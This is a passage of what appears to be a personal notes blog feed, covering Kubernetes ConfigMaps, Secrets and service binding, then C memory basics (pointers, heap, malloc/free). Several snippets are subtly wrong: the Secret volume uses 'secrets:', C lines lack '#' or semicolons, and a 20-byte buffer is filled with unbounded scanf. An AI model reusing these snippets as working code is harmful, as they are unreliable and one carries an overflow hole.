</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">hello-kubernetes</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">cham11ng/myapp:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="nt">containerPort</span><span class="p">:</span><span class="w"> </span><span class="m">8080</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">env</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="c"># is used in the JavaScript file as process.env.MESSAGE</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">MESSAGE</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">value</span><span class="p">:</span><span class="w"> </span><span class="s1">&#39;Hello from config file!&#39;</span><span class="w">
</span></span></span></code></pre></div><h3 id="configuration-configmap-string-literal">Configuration: ConfigMap string literal</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># provide a ConfigMap is to provide a key-value pair</span>
</span></span><span class="line"><span class="cl"><span class="c1"># in the create ConfigMap command.</span>
</span></span><span class="line"><span class="cl">kubectl create ConfigMap my-config <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>  --from-literal<span class="o">=</span><span class="nv">MESSAGE</span><span class="o">=</span><span class="s2">&#34;hello from first configmap&#34;</span>
</span></span></code></pre></div><p>After this first step, the second step is to tell our deployment about the new MESSAGE variable and specify its location for pickup.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">env</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">MESSAGE</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">valueFrom</span><span class="p">:</span><span class="w"> </span><span class="c"># to point to the ConfigMap created in the first step</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">configMapKeyRef</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="c"># the deployment will look for a key named</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="c"># MESSAGE in the ConfigMap named “my-config.”</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">my-config</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">key</span><span class="p">:</span><span class="w"> </span><span class="l">MESSAGE</span><span class="w">
</span></span></span></code></pre></div><h3 id="configuration-configmap-properties-file">Configuration: ConfigMap properties file</h3>
<ul>
<li>Another way to add the MESSAGE variable in the ConfigMap is to use a file that contains all environment variables in the “key=value” format.</li>
<li>Such a file is useful for adding many variables instead of listing those variables one by one on the command line.</li>
<li>Here is a file with just one MESSAGE key and a value “hello from the my.properties file.”</li>
<li>If you specify a directory to the “&ndash;from-file” flag, the entire directory is loaded into the ConfigMap.</li>
<li>You can also load a specific file with a key by using the “&ndash;from-file=key=filename” format.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">kubectl create cm my-config --from-file<span class="o">=</span>my.properties
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">cat my.properties
</span></span><span class="line"><span class="cl">  <span class="m">1</span> <span class="nv">MESSAGE</span><span class="o">=</span>hello from my.properties file
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># to get the YAML output</span>
</span></span><span class="line"><span class="cl">kubectl describe ConfigMap my-config
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">env</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">MESSAGE</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">valueFrom</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">configMapKeyRef</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">my-config</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">key</span><span class="p">:</span><span class="w"> </span><span class="l">my.properties</span><span class="w">
</span></span></span></code></pre></div><h3 id="configuration-configmap-yaml">Configuration: ConfigMap YAML</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">data</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">my.properties</span><span class="p">:</span><span class="w"> </span><span class="l">MESSAGE=hello from the my.properties file</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">ConfigMap</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">my-config</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">default</span><span class="w">
</span></span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">kubectl get ConfigMap
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">kubectl apply -f my-config.yaml
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">kubectl describe cm my-config
</span></span></code></pre></div><ul>
<li>In our case, we have saved the output from ”kubectl get ConfigMap” as a YAML file called “my-config.yaml.”</li>
<li>The first command indicates that there is no ConfigMap to begin with. Here you are creating the ConfigMap.yaml file.</li>
<li>You’ll now apply the YAML file to your cluster which creates the ConfigMap.</li>
<li>Note the MESSAGE in the ConfigMap file description.</li>
</ul>
<h2 id="secrets">Secrets</h2>
<ul>
<li>working with a Secret is like working with a ConfigMap</li>
</ul>
<h3 id="secret-use-with-string-literals">Secret: Use with string literals</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># First, create a secret using a string literal.</span>
</span></span><span class="line"><span class="cl">kubectl create secret generic api-creds <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>  --from-literal<span class="o">=</span><span class="nv">key</span><span class="o">=</span>mysupersecretapikey
</span></span><span class="line"><span class="cl"><span class="c1"># the get command verifies that the secret was created</span>
</span></span><span class="line"><span class="cl">kubectl get secret
</span></span><span class="line"><span class="cl"><span class="c1"># use the DESCRIBE command to verify our secret is indeed a secret</span>
</span></span><span class="line"><span class="cl"><span class="c1"># and check that you don’t see any secret, written using displayed text</span>
</span></span><span class="line"><span class="cl">kubectl describe secret api-creds
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">kubectl get secret api-creds -o YAML
</span></span></code></pre></div><h3 id="secret-use-with-environment-variables">Secret: use with environment variables</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">env</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">API_CREDS</span><span class="w"> </span><span class="c"># process.env.API_CREDS</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">valueFrom</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">secretKeyRef</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">api-creds</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">key</span><span class="p">:</span><span class="w"> </span><span class="l">key</span><span class="w">
</span></span></span></code></pre></div><h3 id="secret-use-with-volume-mounts">Secret: use with volume mounts</h3>
<ul>
<li>Each container in the descriptor file has its own volumeMount but shares the volume</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">kubectl create secret generic api-creds <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>  --from-literal<span class="o">=</span><span class="nv">key</span><span class="o">=</span>mysupersecretapikey
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">containers</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">hello-kubernetes</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">cham11ng/myapp:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="nt">containerPort</span><span class="p">:</span><span class="w"> </span><span class="m">8080</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="c"># use a volume for the secret with a corresponding volumeMount</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">volumeMounts</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">api-creds</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="c"># The api-creds secret is mounted as a file at /etc/api/api-creds</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">mountPath</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;/etc/api&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">readOnly</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">api-creds</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">secrets</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">secretName</span><span class="p">:</span><span class="w"> </span><span class="l">api-creds</span><span class="w">
</span></span></span></code></pre></div><h2 id="service-binding">Service Binding</h2>
<ul>
<li>is the process needed to consume external Services or backing Services, including REST APIs, databases, and event buses in our applications.</li>
<li>manages configuration and credentials for back-end Services while protecting sensitive data.</li>
<li>In addition, Service binding makes Service credentials available to you automatically as a Secret.</li>
<li>consumes the external Service by binding the application to a deployment.</li>
<li>Then, the application code uses the credentials from the binding and calls the corresponding Service.</li>
<li>Here you can see an architectural diagram that illustrates the binding of a Kubernetes Cluster to an external Service.</li>
<li>Next, let&rsquo;s learn the steps required to bind the Service to your application.</li>
</ul>
<h3 id="architecture">Architecture</h3>
<p>
  
  <input type="checkbox" id="zoomCheck-c32f8" hidden />
  <label for="zoomCheck-c32f8">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/service-binding-architecture.webp"
      alt="Service Binding Architecture"
       />
  </label>
</p>
<h3 id="ibm-service-binding">IBM Service binding</h3>
<ul>
<li>Service binding quickly creates Service credentials for an IBM Cloud Service.</li>
<li>You create the Service credentials using IBM’s public cloud Service endpoint and then store or “bind” your Service credentials in a Kubernetes Secret in your Cluster.</li>
<li>Here’s how to bind an IBM Cloud Service to your Cluster:
<ol>
<li>Provision an instance of the Service</li>
<li>Bind the Service to your Cluster to create Service credentials for your Service that use the public cloud Service endpoint</li>
<li>Store and retrieve the Service credentials in a Kubernetes Secret</li>
<li>Configure your app to access the Service credentials in the Kubernetes Secret</li>
</ol>
</li>
</ul>
<h2 id="commands">Commands</h2>
<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>kubectl autoscale deployment</td>
<td>Autoscales a Kubernetes Deployment.</td>
</tr>
<tr>
<td>kubectl create configmap</td>
<td>Creates a ConfigMap resource.</td>
</tr>
<tr>
<td>kubectl get deployments -o wide</td>
<td>Lists deployments with details.</td>
</tr>
<tr>
<td>kubectl get hpa</td>
<td>Lists Horizontal Pod Autoscalers (hpa)</td>
</tr>
<tr>
<td>kubectl scale deployment</td>
<td>Scales a deployment.</td>
</tr>
<tr>
<td>kubectl set image deployment</td>
<td>Updates the current deployment.</td>
</tr>
<tr>
<td>kubectl rollout</td>
<td>Manages the rollout of a resource.</td>
</tr>
<tr>
<td>kubectl rollout restart</td>
<td>Restarts the resource so that the containers restart.</td>
</tr>
<tr>
<td>kubectl rollout undo</td>
<td>Rollbacks the resource.</td>
</tr>
</tbody>
</table>
]]></content:encoded>
    </item>
    <item>
      <title>Memory in C</title>
      <link>https://sagarchamling.com/notes/memory-in-c/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/memory-in-c/</guid>
      <description>Understanding Memory in C Programming Language</description>
      <content:encoded><![CDATA[<h2 id="c-programming">C Programming</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">include</span><span class="o">&lt;</span><span class="n">stdio</span><span class="p">.</span><span class="n">h</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">//
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="array">Array</h3>
<ul>
<li>Contiguous</li>
<li>Analogy closed locker</li>
</ul>
<h3 id="memory">Memory</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">                  <span class="p">|</span>         Machine Code            <span class="p">|</span>
</span></span><span class="line"><span class="cl">                  <span class="p">|</span> ------------------------------- <span class="p">|</span>
</span></span><span class="line"><span class="cl">                  <span class="p">|</span>           Globals               <span class="p">|</span>
</span></span><span class="line"><span class="cl">                  <span class="p">|</span> ------------------------------- <span class="p">|</span>
</span></span><span class="line"><span class="cl">                  <span class="p">|</span>             Heap                <span class="p">|</span>
</span></span><span class="line"><span class="cl">                  <span class="p">|</span>       <span class="o">(</span>more downwards<span class="o">)</span> ↓        <span class="p">|</span>
</span></span><span class="line"><span class="cl">                  <span class="p">|</span> ------------------------------- <span class="p">|</span>
</span></span><span class="line"><span class="cl">                  <span class="p">|</span>       <span class="o">(</span>more upwards<span class="o">)</span> ↑          <span class="p">|</span>
</span></span><span class="line"><span class="cl">                  <span class="p">|</span>             Stack               <span class="p">|</span>
</span></span></code></pre></div><h4 id="passing-by-value-vs-passing-by-reference-pointer">passing by value vs passing by reference (pointer)</h4>
<ul>
<li>passing by value never solve swapping the value problem.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">swap</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">b</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">tmp</span> <span class="o">=</span> <span class="o">*</span><span class="n">a</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="n">a</span> <span class="o">=</span> <span class="o">*</span><span class="n">b</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="n">b</span> <span class="o">=</span> <span class="n">tmp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h4 id="pointers">Pointers</h4>
<ul>
<li><strong>&amp;</strong> - reference the address of variable.</li>
<li><strong>*</strong> - dereference operator - allows to take an address and go to it.</li>
<li>pointer are stored in different memory address and tend to be 8 bytes.</li>
<li>integer are 4 bytes.</li>
</ul>
<h4 id="string">String</h4>
<ul>
<li>string has <code>\0</code> represent the NULL character (ASCII value 0) or NULL terminator (end of string).
<ul>
<li>double quotes do it for us.</li>
</ul>
</li>
<li>string <code>%p</code> reference to the first character address of string.</li>
<li><code>typedef char *string;</code> define custom data type.</li>
<li>compiler is doing this <code>s[0] -&gt; *s</code></li>
<li><code>==</code> compares the address not the value.</li>
<li><code>=</code> assignment operator will just copy the address of string.</li>
</ul>
<h4 id="stack">Stack</h4>
<ul>
<li>is where the very first function goes in computer&rsquo;s memory.</li>
<li><code>main</code> function goes button of the memory.</li>
<li>too many functions calls increases stack.</li>
<li>stack overflow -&gt; occurs if the call stack pointer exceeds the stack bound.</li>
</ul>
<h4 id="heap">Heap</h4>
<ul>
<li>too many malloc increases heaps.</li>
<li>buffer is chunk of memory, buffer overflow overflow mean using too much of memory</li>
<li>heap overflow condition is a buffer overflow, where the buffer that can be <strong>overwritten</strong> is allocated in the heap portion of memory. writes more data than heap-allocated memory.</li>
<li>youtube , spinning / pause - bad connection means no more bytes or video footage in computer&rsquo;s buffer
<ul>
<li>if it downloads too many bytes at a time, they could overflow a buffer and crash it.</li>
</ul>
</li>
</ul>
<h4 id="malloc-and-free">malloc and free</h4>
<ul>
<li><code>malloc()</code> is a library function that allows C to allocate memory dynamically from the heap.</li>
<li><code>free</code> should be called after using the variable created by <code>malloc()</code> to prevent leak.</li>
<li><code>memory leak</code> occors when a process allocates memory but doesn&rsquo;t free the memory.</li>
<li><code>valgrant</code> can be handy, finding memory access errors to heap memory.</li>
<li><code>scanf</code> is dangerous to use it for strings.</li>
</ul>
<h4 id="dynamic-memory-allocation">Dynamic Memory Allocation</h4>
<ul>
<li>dynamically-allocated memory is not automatically returned to the system for later.</li>
<li>failing to return memory back to the system after finished with it, results in a memory leak.</li>
<li>memory leak compromise system&rsquo;s performance.</li>
<li>must <code>free()</code> it once finished working.</li>
<li>three golden rules:
<ul>
<li>every block of memory that you <code>malloc()</code> must subsequently be <code>free()</code>d.</li>
<li>only memory that you <code>malloc()</code> should be <code>free()</code>d.</li>
<li>do not <code>free()</code> a block of memory more than once.</li>
</ul>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// get an integer from user
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kt">int</span> <span class="n">x</span> <span class="o">=</span> <span class="nf">GetInt</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="c1">// array of floats on the stack
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kt">float</span> <span class="n">stack_array</span><span class="p">[</span><span class="n">x</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="c1">// array of floats on the heap
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kt">float</span><span class="o">*</span> <span class="n">heap_array</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">x</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">float</span><span class="p">));</span>
</span></span></code></pre></div><p>
  
  <input type="checkbox" id="zoomCheck-3e152" hidden />
  <label for="zoomCheck-3e152">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/malloc.webp"
      alt="Malloc"
       />
  </label>
</p>
<blockquote>
<p>Once memory is freed, we can access again occurs segmentation fault.</p>
</blockquote>
<p>
  
  <input type="checkbox" id="zoomCheck-e65f9" hidden />
  <label for="zoomCheck-e65f9">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/segmentation-fault.webp"
      alt="Segmentation Fault"
       />
  </label>
</p>
<h4 id="garbage">garbage</h4>
<ul>
<li>when we create variable, we don&rsquo;t give them values, in some case value will be initialized to all zeros else it contains garbage value.</li>
<li>if we touch memory we were not supposed to then the computer crashes.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="o">*</span><span class="n">x</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="o">*</span><span class="n">y</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">x</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="kt">int</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="n">x</span> <span class="o">=</span> <span class="mi">42</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// not allocated might contain garbage address
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="o">-&gt;</span>  <span class="o">*</span><span class="n">y</span> <span class="o">=</span> <span class="mi">13</span><span class="p">;</span> <span class="c1">// might crash modifying unknown address value
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">    <span class="c1">// do instead
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">y</span> <span class="o">=</span> <span class="n">x</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="n">y</span> <span class="o">=</span> <span class="mi">13</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h4 id="hands-on-understanding">Hands-on Understanding</h4>


  
    
    <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;ctype.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">n</span> <span class="o">=</span> <span class="mi">50</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">n</span><span class="p">;</span> <span class="c1">// declaring variable to hold address
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Getting address: %p</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Getting value: %i</span><span class="se">\n\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">*</span><span class="n">p</span><span class="p">);</span> <span class="c1">// go to the given location
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="o">*</span><span class="n">s</span> <span class="o">=</span> <span class="s">&#34;HI!&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;String value: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">s</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;String address: %p</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">s</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;String value first character: %c</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">s</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;String value NULL character: %c</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">s</span><span class="p">[</span><span class="mi">3</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;String address first: %p</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">s</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;String address second: %p</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">s</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;String address third: %p</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">s</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// pointer arithmetic
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%c&#34;</span><span class="p">,</span> <span class="o">*</span><span class="n">s</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%c&#34;</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="n">s</span> <span class="o">+</span> <span class="mi">1</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%c</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="n">s</span> <span class="o">+</span> <span class="mi">2</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// string comparision
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">char</span> <span class="o">*</span><span class="n">t</span> <span class="o">=</span> <span class="s">&#34;HI!&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="nf">strcmp</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">t</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="nf">strcmp</span><span class="p">(</span><span class="s">&#34;Test&#34;</span><span class="p">,</span> <span class="n">t</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// string assignment
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">char</span> <span class="n">i</span><span class="p">[</span><span class="mi">20</span><span class="p">];</span> <span class="c1">// prevent having a garbage value
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">char</span> <span class="o">*</span><span class="n">c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Enter the value of I: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%s&#34;</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">c</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
